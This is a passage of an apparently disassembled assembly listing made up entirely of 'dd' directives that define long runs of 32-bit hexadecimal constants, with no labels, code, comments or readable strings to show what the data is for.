4258271Dh, 510762F0h dd 4A5F8B62h, 5B40755Fh, 9B206E1Dh, 3869092Bh, 5B004ADBh dd 130A3A9h, 7CEB18C1h, 4B2A056Dh, 61328AB6h, 60C63E2Fh dd 0EA1ED3EEh, 691B1732h, 5C63F2F7h, 0DDE19D7Dh, 0A659ECADh dd 6856E049h, 44174BC3h, 19AF5E74h, 6EFEB6FDh, 2B68C9DCh dd 20832065h, 55FF0BECh, 66A83479h, 0AA5A1307h, 0E9536D02h dd 0BA774813h, 7AC4FA42h, 96947646h, 714B6204h, 0E9DE2D03h dd 0A2703ED6h, 0B412629Bh, 0AC82C720h, 0D652D40Fh, 71989583h dd 512E85E7h, 0BBBBF331h, 12848072h, 1B76BA52h, 6F447FB3h dd 8E992D7h, 465C3380h, 0E9177360h, 264E74C4h, 2CE807E2h dd 88107649h, 0E9041CB2h, 8DFA2A07h, 6479E567h, 0E405B8A5h dd 314B6737h, 0E85354C2h, 1E0F6331h, 1459118Dh, 4B07E9h dd 5116EC77h, 0CF4C015Dh, 2A08410Ch, 0F73EF129h, 0E81293FAh dd 0DB8B49C5h, 0E40B9D50h, 0AC185AD6h, 493CB6BDh, 0C62E1DBAh dd 0E46F0FC3h, 0B2BD5F65h, 8CA85F2Bh, 5B6804DDh, 888AF43h dd 7E3C6916h, 44070975h, 8B515901h, 0B51F9484h, 0AE3861BEh dd 833BBF0Ch, 0F72CD827h, 85DF92D7h, 138007D0h, 2F3F7394h dd 2F40316Eh, 0C0A9871Ah, 345EC950h, 0CE1881D1h, 0EE0A054Dh dd 1F127E8Bh, 8F09B32Dh, 0B09FF029h, 103FE90Eh, 1FBBAAC1h dd 0C43A0211h, 0AB3FD05Ch, 0B416B02Dh, 0E84A6E9h, 6B57DB9h dd 0CCE554Bh, 0ADFD8826h, 0B0EB1719h, 0F6C2053Eh, 43318DE1h dd 23266F9Bh, 0B9810681h, 12E325B7h, 12D0E1E4h, 0FF048346h dd 844FE6C0h, 0B8B74A64h, 1C24F65h, 96E6F527h, 1007B230h dd 3168515Ch, 49614769h, 0D86B6509h, 0D63CDAD2h, 45CB2785h dd 50E986BEh, 0FF9947F0h, 9B045312h, 90842878h, 43426C8h dd 14D4129h, 99B2AB54h, 25E90C40h, 0E2D97F7Bh, 0FA125C2Fh dd 95508255h, 8D0E0BF4h, 0F52267E9h, 53989C68h, 11CC84FFh dd 5B7DFCF5h, 0E05EF8C1h, 5C62A1BAh, 4B5E2F7Eh, 9D915E28h dd 6827843Bh, 0A8F85D0Fh, 6B2973CBh, 50566DCh, 55C44365h dd 1C53DFC5h, 68243CAAh, 6D43CE27h, 0FCBE3268h, 9236F609h dd 0A409BB02h, 0B99E2092h, 532C598Fh, 0A0979B4Ch, 65D3E55Ch dd 37A80716h, 18B519D2h, 1E02D849h, 0A267014Ah, 0ABD59DB4h dd 0BD55B100h, 4DDADF39h, 2F4D9797h, 90A78512h, 652DB9BFh dd 6BF03A4Fh, 6361BE5Ah, 649E4DE9h, 90AB949Dh, 0ED79434h dd 94FCBEB7h, 0B88296D7h, 0B6635906h, 7954EF92h, 630B7952h dd 4160CC20h, 0C74D517Ah, 7042BD38h, 0CF890702h, 0AE651479h dd 2C6E39B1h, 0B131683Fh, 62642931h, 70295F01h, 87888FF4h dd 606E98D7h, 2DCDED25h, 2260174Fh, 9020FC0Ch, 93EB062h dd 139D5496h, 0E948FA60h, 56916954h, 2E57BE04h, 53C07BE0h dd 3B341E49h, 0F6864662h dd 1AF43E64h, 2DA7EA05h, 50AF43B5h, 0E909083Fh, 6B209918h dd 57AB5BE4h, 0ED5EFC90h, 0DF2E088Ah, 690A010h, 0E8DDDC6h dd 0C8AA5290h, 2F4BB3C0h, 35B39AC4h, 0E5C8FEC2h, 8799A2E4h dd 1232259Ch, 612982CDh, 0CC91E961h, 1A0DCC2Ah, 59307813h dd 6B810FFBh, 70531E79h, 421BA343h, 0F9B74835h, 1D65FDA5h dd 0B4393565h, 0C9D5A28h, 1DC26656h, 0D604160Ch, 0D029C413h dd 6D8904AAh, 0E4CCBB52h, 0F7122C6Ah, 0A85F45B2h, 45F24F79h dd 1AE4E093h, 0D3896CC5h, 0EAA4D8F8h, 6CF344C0h, 0E9290C43h dd 25188DD9h, 33FAEB78h, 4B0180B0h, 0E93E21F1h, 443EF5F8h dd 0A2FC4905h, 0CD9C51ECh, 0C2463EF1h, 9D1ED042h, 5B2092F0h dd 226814C2h, 0AAD2B312h, 0C3155A99h, 4B98CFEFh, 44D37ABDh dd 170D34DDh, 24A4E4BCh, 1E8DC0EFh, 2D08626Dh, 2A3A8E9h dd 0B1DD0B9h, 45CDC0DDh, 43FE25B7h, 6B896FC1h, 97B77B6h dd 0D60158C2h, 4129CA06h, 64745C0Fh, 0BEC1ED16h, 282211CCh dd 30C65482h, 0E21D05C3h, 0EEA04207h, 712A7615h, 36BCD06Bh dd 0E917CD20h, 0D5910C11h, 6C07A6Dh, 8F0EC15Eh, 20E78B1Fh dd 982DAF3h, 0F367578Bh, 87569612h, 0F0D7180Ch, 0AC6C4058h dd 3CB35300h, 8006EBC0h, 0F6450EC3h, 52A3FEDBh, 0C6A8DE88h dd 2C545CE9h, 3E0ECFA8h, 0C01A6F53h, 180D2DF7h, 0BE7F863h dd 75085747h, 80027384h, 0E541112h, 2DE96C0Bh, 628DD4A5h dd 24640FFFh, 28EA7F38h, 5804867Ah, 2942CB6Eh, 80217D4h dd 5C102AE9h, 747A8012h, 0D9296373h, 7A8525Ch, 22C30976h dd 0CBAC5AE4h, 13DABD00h, 0F7452A33h, 0A5E4DD4Ah, 52760FE5h dd 0BC3D490Bh, 3F03E98Bh, 361CC830h, 0F2F3F282h, 363A5B98h dd 872C0810h, 9919EBF7h, 4DC0CB97h, 0F8015AC9h, 0DD825FEEh dd 6C7148A8h, 38C88627h, 0A75D25C9h, 0E0B35140h, 0EE311029h dd 0F2B8C031h, 0A03AC969h, 6260668Ah, 1AD5602Fh, 50126BF2h dd 0D1A88B29h, 3E19D103h, 2B2C143h, 5A73D060h, 2A0C7030h dd 50BE0B38h, 9FF4EB19h, 0E49DD7E6h, 77E9AA3Fh, 26C607F1h dd 7BB7EBFh, 53332821h, 0A6F0C35Fh, 0DE64182Dh, 76BE63BEh dd 8E7D04C5h, 0D69AEEEEh, 0E9B9444Fh, 68E19083h, 422D1AF0h dd 97AF072h, 57EF1220h, 275802F5h, 73145F79h, 256DDB97h dd 0E961C5F4h, 24751832h, 82E278D8h, 54D98A41h, 0EC9999F2h dd 4697CB0Bh, 0F10E2D8Bh, 6813236Ch, 4F650FADh, 49098EFAh dd 1FE90B54h, 153E7549h, 958C6491h, 58481EBFh, 94127425h dd 79A0144h, 601F9012h, 5F056188h, 19E92505h, 1E66C9E0h dd 55DDF65Ah, 327ED54Eh, 59BAEDD2h, 275CC5DDh, 0E942CE59h dd 0FFA44A25h, 0A4E3DD04h, 40C10320h, 39B15A5Bh, 79E02821h dd 0E96109BAh, 0F55B3A6Eh, 6976C4ADh, 29228391h, 0DDD6454Eh dd 8CF13E64h, 0FEBCE07Eh, 206EA441h, 171C7102h, 0C5814800h dd 1ED336A5h, 5E39855h, 2EC1253Ah, 50D1AB31h, 3565ACE9h dd 0D60BA27Fh, 4976E0D8h, 4225138Fh, 0B280A0E2h, 7507358Eh dd 49B0094Ah, 6DEB02EEh, 0F02962E8h, 0D84231D7h, 0DA784FADh dd 3D4D9A2Eh, 35446865h, 23C84909h, 83E09F58h, 7BBF372Ch dd 0A0173D7Fh, 217737EBh, 826C9D23h, 0CE22510Ch, 723AC80Dh dd 54B7A003h, 0E6F09D5Dh, 464D062Eh, 2D5F8EC0h, 0F4BF0449h dd 0EA1F53A2h, 89C56DF2h, 0E119C5F9h, 0CE9F02E5h, 0B402EF08h dd 4AC91AFBh, 425AC115h, 5D876A7h, 0DFB9D931h, 893BECA2h dd 74A94383h, 2C68BAC4h, 6831C28Ah, 3D543D3Fh, 0D5346061h dd 5E568830h, 68F4DCFEh, 753EC032h, 2C455662h, 147916h dd 81B506E9h, 487D5C58h, 12562298h, 7A6809C2h, 7648BA56h dd 393E09C2h, 0AE005F7Ah, 816D1968h, 2C5F3FEFh, 289724Bh dd 0F8A4248Ch, 8E0FAA8Bh, 0C90C5E57h, 7DFF361h, 7E64C4B1h dd 31C9D6C0h, 33DF245Ah, 99103C2h, 0C0A0EFBh, 0B98A7E10h dd 1412B08h, 5B6FB668h, 0D2FC7829h, 0C00F1BD1h, 5A253B6Dh dd 0B521555h, 8DD63A0Dh, 1614C2E3h, 0BED8896Ch, 751ECC20h dd 90DEAD5h, 784A0C6Ch, 4EDB0405h, 0F552DF92h, 0B009446Bh dd 0CE49097Bh, 3B830961h, 9CEA82C8h, 4936F6F0h, 0C72FFF48h dd 5BEEC180h, 7625A908h, 0FBA5BC0Bh, 2E82D744h, 6775B16Ah dd 0DF72273Bh, 7F0B4D7Dh, 2BF5E95Ah, 2D9540CBh, 7D277B18h dd 7A8C3217h, 10D7E23Dh, 805007F7h, 0F6F2E5C0h, 0FF9D8B5h dd 59EB287Ah, 1903D77Ch, 2A040A8Bh, 40810D6h, 0D5B05052h dd 6EA8788h, 735980F3h, 58293B32h, 98C78FAAh, 3FDB764h dd 0CF80DFF6h, 779FFE51h, 0C0F1E2D7h, 730F40C4h, 6438B00Fh dd 0B012E3C6h, 0A133C73h, 0C4006DD6h, 4E010502h, 27067EECh dd 977314F7h, 0F17EA97h, 5E864DF9h, 4D1CE4C1h, 0DE86F587h dd 0D608D3F7h, 0B88F0710h, 164DE411h, 81ED1E0Fh, 1D80AC5h dd 31BA617Eh, 8CEE96D0h, 7ABD1EC2h, 0C70524ACh, 872B1399h dd 12DC143Dh, 53A301EFh, 4D7A5968h, 19A62BE1h, 0AB12B44Ch dd 0CEB5201Dh, 4C5B5A43h, 3DEB1B9h, 41B951C8h, 18601682h dd 0C7B99277h, 0C9577605h, 0B9C36E80h, 20A42FBDh, 914EB782h dd 0F6C0FE01h, 0F6662CE4h, 0ECF55F3Bh, 72AFD247h, 1677C379h dd 0FC79B7A9h, 5394762Dh, 715855F2h, 2D6BB803h, 0CD292891h dd 0C9161FEFh, 0E4C75B85h, 0EA5A26A8h, 829F2EBDh, 2CD028F9h dd 86AE2D60h, 0E5EB8FC1h, 0DDCB1F52h, 18E39C6h, 0F72801B6h dd 2CA2685Ah, 0A1E9C3AFh, 0B410184Fh, 0EC653490h, 42F60483h dd 0BC350A6Bh, 0B04F282Ah, 85253EE8h, 0E1A46047h, 17151390h dd 0DD594302h, 0C7E08D83h, 45090CB9h, 88CF295Ch, 5909088Bh dd 358E5852h, 0E36A4B77h, 0CBE9C255h, 8F890988h, 58132A7Ch dd 2172C6F1h, 401E7712h, 8B566738h, 0B909BA0Ah, 0D537F45Eh dd 43B39064h, 647FA8Dh, 0F81ECAECh, 0EA22C1CFh, 7010FB72h dd 0F8417550h, 0E043F16Fh, 0A3C02287h, 0D626CEEEh, 0A68984Bh dd 9FB251Bh, 0A494089Eh, 7504FF0Ch, 468304EDh, 0BF53172Bh dd 3C8093B4h, 0FD278DCDh, 0E0EBDD7Ch, 0E16A58Dh, 5B6869FEh dd 0F0960264h, 2D129C02h, 77814184h, 0F210124Dh, 0FE3E584Ch dd 42D0AE10h, 0C2D55617h, 6893EB5Ch, 4FE9ECE4h, 0FE9F844Bh dd 0F52BC93Dh, 9EA37E38h, 688C9093h, 6CBF11DFh, 0A2BCA1ADh dd 0C2020F39h, 9A3998DAh, 929542F5h, 68DCA386h, 69EAE4E0h dd 0F2297B97h, 473B236Bh, 53EA4017h, 722B29AAh, 87AD93FFh dd 4450EFB2h, 55041BCh, 9477005Ah, 33572D39h, 293E189Eh dd 30751D8h, 0A12C78C2h, 405AAEE8h, 51D22D78h, 0F6D4886Eh dd 1B842E46h, 0C2812556h, 0CDEDF580h, 0A7A13FC3h, 0FB514F97h dd 6F685460h, 0CADEA859h, 586DAA86h, 0A5710999h, 0DA004E52h dd 13743818h, 2BF094Eh, 0CA498410h, 0E6D8405Dh, 5A6E181Bh dd 0D6AD1A1Dh, 89B9E401h, 0B642E9F7h, 2D2AA63h, 724D2980h dd 111B40E1h, 0CC3A377Fh, 194EB73Ah, 9E4B9D31h, 0DC95F005h dd 5BBA93F7h, 92D35CE3h, 7782E50h, 69C39FA0h, 0DF2B4A27h dd 508C388h, 90E1E958h, 50716824h, 800BB43Dh, 27483C25h dd 16900D79h, 20F23Fh, 552D0890h, 0C33CD189h, 0DBE98B29h dd 0D96EA207h, 0C489451h, 96F4E959h, 97702C0Ch, 1712D064h dd 59CF2801h, 0FAC0CEFEh, 7B82C73h, 249B4D5Ch, 334160F4h dd 402EAA67h, 0B350868h, 0C48B77AEh, 0E90B0C51h, 1BCCD526h dd 39A2F9B7h, 0E8658D25h dd 0F1497609h, 7D258905h, 0C731A696h, 0E6D40B48h, 0B1EDD76Eh dd 680D6449h, 0ECC080CDh, 75C4FE05h, 505D7080h, 48C5B7E3h dd 0FFB50F75h, 4E8A1417h, 44A59A4Ch, 0E9F6E98Eh, 5F10696Bh dd 0F85EA869h, 0FBC7C4EBh, 7883CF01h, 0F737EA0h, 0DBB29D06h dd 10BF26Ah, 800D27EFh, 4E157CB3h, 28808CE9h, 0F70D6F45h dd 751BD05Fh, 0E904120Ah, 2A38F136h, 701854DBh, 47C1691Eh dd 0C2C6F019h, 0A33A5998h, 0D053896Bh, 0F86D9D55h, 0E95408B0h dd 0E9A45FDEh, 48C7C90Dh, 0BFCF6840h, 2242EBD9h, 2448834Bh dd 56998F1Dh, 1549096Ch, 4E0B37ABh, 0EF9D9BDEh, 0ECB73DA8h dd 0C0964E36h, 21B3B878h, 0AE1CCE39h, 0D51244C5h, 25E3BA01h dd 0A07F6D75h, 0EB6B7F7Bh, 0FFFB62CAh, 0F069F282h, 72D120Fh dd 0D80501FCh, 75BFF160h, 78F76E03h, 0AB81474Fh, 29110971h dd 67DD5FFEh, 5CD4895Bh, 1B6887A1h, 12722662h, 74BA3DBDh dd 7330FFB4h, 0C1D9E2E9h, 81EED122h, 8810ECCEh, 0E2FB190h dd 55E69279h, 0E9125B9Eh, 57F8CB6Ah, 37044ECBh, 570FBF36h dd 0D042EC37h, 973212C9h, 4BE7BC6Ch, 0F774BFB8h, 93BEC311h dd 0DE08BF06h, 43012BDh, 2BB7AE7h, 0F459CB28h, 0C28D1B0Bh dd 228ABEF1h, 60011C27h, 0D71F2F1Dh, 0F5839C57h, 0C3048F59h dd 414F29B4h, 5BC67CE1h, 0DB1692F6h, 0CB87F8E4h, 503F29A5h dd 4DA20980h, 8B751A03h, 8911DE3Ah, 7045A0FFh, 982DD71Fh dd 0D3ABB45h, 0B93559A3h, 75A32F0Bh, 0ECF0810h, 0E1104E2Dh dd 5C8297Ch, 52C10747h, 0E46E4158h, 0E72470BFh, 0E402ED0Fh dd 41152922h, 0FD4C6827h, 4231CBAh, 0D0287E3Fh, 0F52E257Eh dd 7472C9DEh, 0A0546539h, 37021177h, 0A8E930D8h, 29396923h dd 7968C241h, 0E6139272h, 0C7C9FBF2h, 0B66EB2E4h, 4458AF68h dd 0FEE42F22h, 6F91415Eh, 5A40BEE1h, 0E54267B8h, 0BAA92460h dd 12E2B78Ah, 3F26517Dh, 0B4264E13h, 6928A6CEh, 424AC0BEh dd 0C648400Ah, 0C7341416h, 0E36237FBh, 283BE593h, 9A5D1355h dd 505A6C32h, 700D4B4Ah, 33F368FCh, 44AAD99Dh, 9F07F45Fh dd 0DF208269h, 455D5BBAh, 4BA08434h, 5000EEF8h, 36AA6265h dd 31E2B531h, 40CCE575h, 339EB951h, 8458619Dh, 0F144432Bh dd 0A9888BDDh, 594ACA31h, 3B7B6D04h, 8817B301h, 505BE5DEh dd 2C875ACBh, 2AC669Fh, 66746BB5h, 0D784EEC1h, 5EBBD250h dd 9A0921D3h, 0B89BF13Bh, 85CCBD5Eh, 60EF2111h, 3CA012Ch dd 795A022Dh, 0D48CC215h, 5EC96801h, 8556A66Fh, 2DFBF66Dh dd 12D82EA2h, 972982F9h, 946AA0F6h, 0BB7DD200h, 41EAE94Fh dd 0EFF83E18h, 0DD616416h, 2B496070h, 12972A13h, 0D5C8D8F1h dd 0F8ED5B68h, 0B7921329h, 1F048D35h, 5C01109Eh, 665BD168h dd 0D7466FBh, 914DFCE9h, 0AF579751h, 0FA76007h, 26B4147h dd 42FEE1E2h, 0F9A2639Dh, 1886D7F7h, 0A76CEEFh, 0A788C718h dd 0FD5FFD22h, 1A62D27Ch, 0ADE394CDh, 4766EE65h, 0C70413EDh dd 83952145h, 3E5BDB2h, 4A3D6073h, 0A0E7B5AFh, 801F5BF8h dd 88C382F5h, 0A5D0F6E8h, 52667B81h, 0AF4F2888h, 3385BE1Dh dd 0CAB031D4h, 6C049DE0h, 0F6CDAB58h, 0AE4D100h, 0E943133Bh dd 33B48232h, 6871855h, 718082C2h, 0CB1810A7h, 4BFC6692h dd 0F27424EBh, 71652709h, 77F089BFh, 5E580A89h, 0C4C85D48h dd 38EA3C34h, 0D1B55CA3h, 0E06884C7h, 55398C60h, 97DDB9Dh dd 50EE864Ah, 2AAFA4Bh, 0A290E95Ah, 2BC250F4h, 486E7546h dd 6441095Bh, 6DA852B3h, 0E828C57Ah, 915C8934h, 0A924D2CEh dd 0B666EC5Dh, 0F71C2F99h, 67F63AF3h, 0D2DCE2D3h, 0FBC458FCh dd 0FF89FF34h, 0C4EFA82Fh, 0A61DF4E3h, 91EF12F5h, 72062647h dd 385C9023h, 2CE17066h, 0E157B20Dh, 0CA5B282h, 0C54FF9F9h dd 31EE0D8Fh, 1F57113h, 0EE3C1C29h, 3E4FCB02h, 0EE842C3Fh dd 14BD00FEh, 0BD776453h, 4A096764h, 0F77F4727h, 0F02FA867h dd 0E95E2495h, 0E2D22555h, 7A386F0Bh, 435742B1h, 5801A461h dd 2C767068h, 0F372C4D3h, 0EF2AC8FEh, 0B7A0D9B2h, 44902193h dd 96DD0B5h, 576B507Bh, 534E4B66h, 0DF0BBBA6h, 1CDC0115h dd 7AACE464h, 6683B802h, 42D5367Fh, 282CFCB9h, 92F49BBh dd 2C65489Eh, 0B468B200h, 70EC80DDh, 75D47549h, 519497C4h dd 2609B13Fh, 0E32FD0E9h, 0C958AB5Ch, 1A6055C9h, 0D603FCC0h dd 0BC0FAB18h, 9F354569h, 2DE00694h, 0E2FC4968h, 31F7357Eh dd 6388FB0Ah, 8741F1Ah, 162C890Ah, 428F32A1h, 0F4B6A530h dd 9D61F842h, 18E9C315h, 0E31670D1h, 980D5866h, 0B4303328h dd 0D380B051h, 0B31FE0ECh, 594FDDB2h, 9DF83E8h, 9EF707C4h dd 4FCFE33h, 171F742h, 7D0810D9h, 1F71294Dh, 6B0F680h dd 14B45090h, 0AFCCFE09h, 9AE91A73h, 7F419338h, 9A113E31h dd 19337FDBh, 0CB5F10C6h, 0E737C1DAh, 12E3B32Bh, 8CBEE109h dd 40E3DB2Fh, 3E01514Eh, 52F849E6h, 1FD2F55Bh, 0B5400704h dd 0FFE7F06Fh, 54107762h, 0E8D10070h, 791FE725h, 0D8097B85h dd 4850FA57h, 40C9CB06h, 85FDB529h, 9FC7FE29h, 401EC2C4h dd 0B26FC387h, 0B1B8CD01h, 87F48E59h, 2BD932A9h, 0B66600Ah dd 0EC51B73Dh, 0DAB65281h, 80FCF788h, 0F2F2C5C5h, 57BC931Fh dd 5B2FB23Ah, 542516E3h, 7C98D35Ah, 0D4651A9Dh, 15F50D4h dd 90CC157h, 0F9D6DEE9h, 8DC5CF03h, 309A4EC7h, 0FEDEE5E4h dd 4CC9A920h, 1C365737h, 8736C25Ah, 31D57840h, 0A8CDF6A1h dd 0DA0FF708h, 0CB346679h, 517004DDh, 61596802h, 31C16655h dd 471BA918h, 0B90C5Ch, 7DC33791h, 86E9CE21h, 60C93B9Ah dd 5CB8895Dh, 569D5421h, 0FDB11895h, 0A2BF4868h, 0CE165B5h dd 2B4CE3E4h, 8EF94E9Ch, 0CCF9047Fh, 0A9894AA9h, 0D09D073Bh dd 0E5EED918h, 71980113h, 8A604BA9h, 7C614AD9h, 5E0142CCh dd 898E6D55h, 7A42F45Dh, 68504054h, 0DBCC9D01h, 0D52BE917h dd 0BAA7296h, 92DE3C8Ah, 0E9E401FDh, 0E26E5DA0h, 0ED32611Eh dd 0B73A0105h, 361D15C9h, 0CA773893h, 472E6830h, 209590DEh dd 315F5079h, 5BC0CEA3h, 95685756h, 67DD0112h, 8D057DECh dd 0EF3D4EF5h, 0D1BECB85h, 0E174D312h, 77867023h, 3CD80700h dd 7DBA5247h, 61F7533h, 0F93C281h, 0D4EC4855h, 8B5D4898h dd 0CF057F75h, 6842350h, 7C40E5C0h, 0B93E4BF3h, 0DFAE0390h dd 41314C6Eh, 84428876h, 8550B6Ah, 9661F914h, 8F41AB65h dd 0CA3BA3A5h, 0B64A7C80h, 60FE0F12h, 2044B0B3h, 0BC8C24Ch dd 7B0647E9h, 0CF74A703h, 5C0E78C2h, 415D62E8h, 28622BF1h dd 326802DDh, 0C0205A44h, 80F2B562h, 67E2C1ABh, 9979664Ah dd 8DEBE893h, 0DC6A42DBh, 0E0F7F0C8h, 1133D94h, 130E84BAh dd 9F2DAAE2h, 0FB49126Fh, 0BD51703Ch, 0C8205D51h, 5422C31Eh dd 0DA010F4Eh, 0FD080B48h, 130A3282h, 17A5560Bh, 92B45EEh dd 0C19961C6h, 0ADEE60E6h, 34CD3B5Eh, 0F1B9702h, 0C15460C9h dd 1AB5B901h, 5BFC5544h, 4AA37D7Bh, 0C193055Ah, 0C2900DEAh dd 0C5312F77h, 0B27EF858h, 62AB55DAh, 3142D292h, 794D4568h dd 64F88022h, 0E3E938BCh, 71B46D9Ah, 5E27D210h, 0FE96BC44h dd 2ED85D16h, 0AF06179Bh, 0AE2D8513h, 850100Bh, 6884A6BEh dd 87CC63D3h, 2F4EB052h, 0EC6B90DEh, 81A0E2BAh, 0F22B951h dd 1253B448h, 70BA2A38h, 86F38127h, 4C5B6A03h, 2FD98951h dd 0FEF8CED8h, 6AE6595Bh, 0ECF09089h, 0BD2C4E76h, 44A6548Ch dd 8512D62Ch, 0B753F942h dd 0B48555A9h, 0C15A1E01h, 0FE43B050h, 340480C0h, 0E9C7886Ah dd 138B2D0h, 0E7685052h, 2A148418h, 0D2C52EFCh, 1BCED4D8h dd 0C1FD72F9h, 0D12CF85Bh, 0EE97415Bh, 1CC511EDh, 35D6313Bh dd 0A0C38B55h, 7834DDD3h, 2685321h, 0DF1EE95Bh, 0D369C957h dd 0B4122428h, 0C705AB70h, 73C0ACE4h, 7BE128F5h, 85D15D58h dd 44D6F11Fh, 0AB8813C1h, 5F5FC738h, 0E494B859h, 4A2791E9h dd 107F950Bh, 20706518h, 0A50269DEh, 0E96B6123h, 6D057D62h dd 0A139AC59h, 0D542C209h, 0C05D0437h, 0C5075EA6h, 112F367Ch dd 0F5EC3A9Dh, 0E02C1E10h, 4C5712DFh, 9625BFACh, 0F49FA978h dd 0E95570F3h, 0A52C1429h, 678B171Dh, 0BF169629h, 23E9AF02h dd 0BB0498D0h, 265F7617h, 0FA581AC0h, 5CF560EDh, 3DD269D1h dd 0C216A95h, 40203E08h, 0A71D6835h, 16FD1D0Bh, 6CEE4188h dd 0B425E947h, 5572D9h, 59810D92h, 0F65DE3B9h, 1FE9E4Ch dd 13EF6C54h, 871F129h, 4A5E0802h, 980FF076h, 17785E0Eh dd 0D02AFB7Dh, 4094A940h, 0E0B75988h, 132DEB48h, 0EF03A858h dd 0F5E98E03h, 0AC500004h, 0B353D830h, 0EB3980C5h, 69CB85A8h dd 0B2E8BEE9h, 83083503h, 5CD2F2F3h, 0FFAB44Bh, 7C858B7Fh dd 5AD0628Ah, 0AAE4C4F5h, 0A096FD84h, 93D509FFh, 5A47036Fh dd 76E9D529h, 0AD07BF6h, 585E5008h, 0FE1DD944h, 1829D37Eh dd 0E0C15B3Fh, 8BEC056Ch, 0C429E88h, 2C2008C7h, 0F2201628h dd 4B896839h, 0C113C8A3h, 6BC00566h, 0E621889Bh, 8477820Eh dd 0F4F6C04Fh, 63640E2Bh, 0DD14F889h, 0ADB82800h, 35214A6Dh dd 7C2F1D3Ch, 323F4012h, 0DE05182Dh, 2582511Dh, 3E05C7E8h dd 7A9EE9E4h, 0D5CB5DD2h, 25289000h, 4BD0AB4h, 0A5B0A230h dd 0F3664F5Eh, 4768C589h, 0AD5FBCA8h, 42ED43Eh, 598020F4h dd 2BC1E5FAh, 26AB70C1h, 0BDD6F162h, 37E98358h, 0F6FE848Bh dd 0C92D1F5Dh, 50BF2454h, 7B0D746Ah, 46017031h, 9029F21h dd 8D47B58h, 591FB6EEh, 1EDEFD2h, 1B7C0189h, 18C051C6h dd 6AE60534h, 332E0AC6h, 0CE01AB59h, 77B0C8Ch, 0DD5CC860h dd 5E8A88A5h, 79336806h, 44FD20C5h, 0C7C9CA2h, 583D5E25h dd 154ACFE9h, 931F290h, 0C9335020h, 6232007Ah, 12CA8128h dd 7848250Fh, 5E192592h, 0E6597AC6h, 12D9CA4Ch, 0D36AE3Bh dd 6B0DDD21h, 0EA60B4F1h, 46564B02h, 0D36D09D9h, 0C28236BEh dd 6373855Fh, 6B1BA6Eh, 0C820B9ACh, 1CF856h, 810C3766h dd 0F822C7CFh, 4AC335Ch, 3EBE426Ch, 68ACD9C0h, 0D026589Dh dd 9B1AA906h, 0CB0B9E3Dh, 4639250h, 0BF12FAF7h, 74877364h dd 0C533758Bh, 33278CD1h, 3097DF35h, 20024252h, 61EDB0CCh dd 2D705B27h, 25BD9066h, 3B1B7C40h, 422C1DBAh, 809D09B2h dd 0DF09B3F2h, 616F6376h, 0B652A6C7h, 90F70F30h, 31DE4EECh dd 391F8BD8h, 789A7C9Eh, 0CF5046CEh, 85C10FF8h, 99EFABCEh dd 2D923D9Eh, 2110950h, 0A419FEFh, 90FC5ABCh, 2D195C6Bh dd 569CE79h, 66F0FED0h, 4B22B804h, 7D6AA197h, 0CE3B84ECh dd 5301EF12h, 45FD3A08h, 17EF9270h, 51E2F39h, 0A012E991h dd 0C577886Ch, 9DF4B820h, 8163CC50h, 0E91EFEC0h, 81489592h dd 0F3404AA6h, 6D1704C7h, 9DEE1E51h, 5E0C022Fh, 19E0FDAh dd 8630FFE9h, 0DB2DE9D8h, 277AE6F5h, 3B121F55h, 5196F9D9h dd 58CA17A1h, 3153BDF4h, 488B38ACh, 0E03EFEE3h, 2A291EBBh dd 33E97917h, 0CF050840h, 0CA135F48h, 16072D88h, 29538D5Bh dd 62631670h, 0D36BF7DCh, 0AE14FF89h, 5DBC02F5h, 5242131Bh dd 0BA232D2h, 0B4C1E639h, 12CBA4EEh, 77258C02h, 0D2E9FD4Eh dd 0F1847073h, 0E3880C9Ah, 254B11E6h, 0B315E82h, 0A314A7FEh dd 0FEF68182h, 0EE4224A5h, 38EAF08Ch, 0F83CBE04h, 522C5996h dd 0A7ECE881h, 482206F2h, 0B5871C6Dh, 50E03E71h, 9511B3E9h dd 0C4C794EEh, 54075D9Ah, 5A9EF5C3h, 0FAAF160Dh, 59830E62h dd 0A8599646h, 44D5C5B3h, 0C1140DA3h, 697DE1D6h, 0C7DF0B0Bh dd 808F16B0h, 3C685B44h, 0C1317E4Fh, 0B8C2F1AFh, 0F0417859h dd 0CCDF846h, 16F76013h, 7614380Ch, 0FC740EAh, 18DA2406h dd 2453710Ch, 1055E025h, 0D0124EF3h, 94E8EBBh, 0C4B152E9h dd 7105B097h, 0CDBB80A1h, 6D801118h, 1EE3796h, 0E52D927Fh dd 240DB651h, 135F5A89h, 9D819B24h, 0E36BF158h, 28575B2Fh dd 5E2B089Ah, 736CAF53h, 0E3E9D616h, 89B8DBC3h, 87606F53h dd 0A4885313h, 4F236809h, 0BC42D553h, 20147244h, 811C095Ch dd 864E13F2h, 0ACEAC141h, 0F2340234h, 0F8FB0103h, 0E9D031CDh dd 0B525FB4Fh, 41D37B77h, 274CC368h, 82754CBFh, 8F012A56h dd 721D0F7Bh, 9CF36597h, 68FB0CEAh, 0FBB50A17h, 0B37C2441h dd 8B0B831Eh, 0E4F6FD7Ch, 5B50F062h, 8A470924h, 0D145A868h dd 1878A3AAh, 0B03C8FB0h, 0F1AD5A14h, 3F8D64E1h, 13311533h dd 21792C6Fh, 0A5C884B6h, 0D7BD605Dh, 0B645973Fh, 0BFB1E984h dd 7FCE9C8Dh, 7C14F869h, 0CE344B2Eh, 7FC661ABh, 37A8044Bh dd 42ACEC4Ah, 313F7C55h, 5791DBF8h, 8C7BE19Bh, 4C9CBE8Ah dd 274FE525h, 2CD291DDh, 6990B16Ah, 5F5A890Ch, 91FA08E6h dd 0B1068A9Ah, 64F180EDh, 53440F06h, 2F0B450h, 0E9E78822h dd 57B580Eh, 3D161FBEh, 218EE3Eh, 4EE90206h, 102E1C9h dd 7F03E85Dh, 4F107147h, 0D8297982h, 68088029h, 0D2035BB1h dd 46D53296h, 13165FA4h, 8682AD2Ah, 3D8D3BFh, 4A34BDBBh dd 878D4B5Ah, 2F11DDB6h, 7737E1E1h, 69AE9979h, 5109CE5Ah dd 0A00FBBE9h, 60A7D13h, 0D3F7260Eh, 11821A15h, 19C21E77h dd 70D8285Ch, 84D06D52h, 4D09E622h, 0FCAC0F7Dh, 309F9C5h dd 59648681h, 321C4F05h, 51D26173h, 0BA9C6F54h, 74E919D1h dd 553B5F8Ah, 0BF528284h, 7C2F1D54h, 0B6685095h, 5EB54570h dd 0B28EEC4Dh, 11FB5417h, 56E53EC2h, 307D25C4h, 82E65F9Dh dd 2E4036B2h, 3D2F4DAAh, 0A0105E30h, 2882F08h, 7727B3F9h dd 0DC200996h, 685501D2h, 51FA16E2h, 10BA825Dh, 